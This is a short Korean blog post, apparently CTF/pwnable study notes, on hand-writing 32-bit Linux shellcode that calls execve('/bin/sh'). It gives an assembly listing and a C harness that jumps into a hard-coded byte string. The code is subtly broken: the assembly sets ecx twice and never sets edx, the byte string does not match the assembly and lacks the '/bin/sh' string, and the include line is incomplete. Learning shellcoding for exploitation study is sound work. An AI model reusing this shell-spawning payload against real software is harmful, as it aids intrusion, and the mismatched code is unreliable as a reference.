pwnable/Shellcoding

쉘코드 만들기 (직접)

범고래_1 2018. 12. 23. 04:36

처음으로 쉘코드를 만들어 보았다.

일단 32비트 기준으로

eax : system call 번호

ebx : 첫 번째 매개변수

ecx : 두 번째 매개변수

edx : 세 번째 매개변수


맞춰준 다음에, int 0x80으로 시스템 콜


목표는 execve(&"/bin/sh", NULL, NULL);

xor    eax,eax
push   eax
mov    ecx,esp
mov    ecx,esp
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
mov    al,0xb
int    0x80

간단 ㅋ

이걸 pwntools asm 함수를 쓰거나, 온라인 어셈블러로 opcode로 만들어준 후 콜하면 된다.

#include 

char * sc = "\xe9\x0f\x10\x00\x00\x5b\x31\xc0\x50\x89\xe2\x89\xe1\xb0\x0b\xcd\x80";

int main() {

	(*(void(*)()) sc)();

}


'pwnable > Shellcoding' 카테고리의 다른 글

쉘코딩 (shellcoding) - (3)  (0) 2022.06.08
쉘코딩 (shellcoding) - (2)  (0) 2022.03.25
쉘코딩 (shellcoding) - (1)  (0) 2022.03.25
쉘코드 만들기 (asm 코딩)  (0) 2018.12.23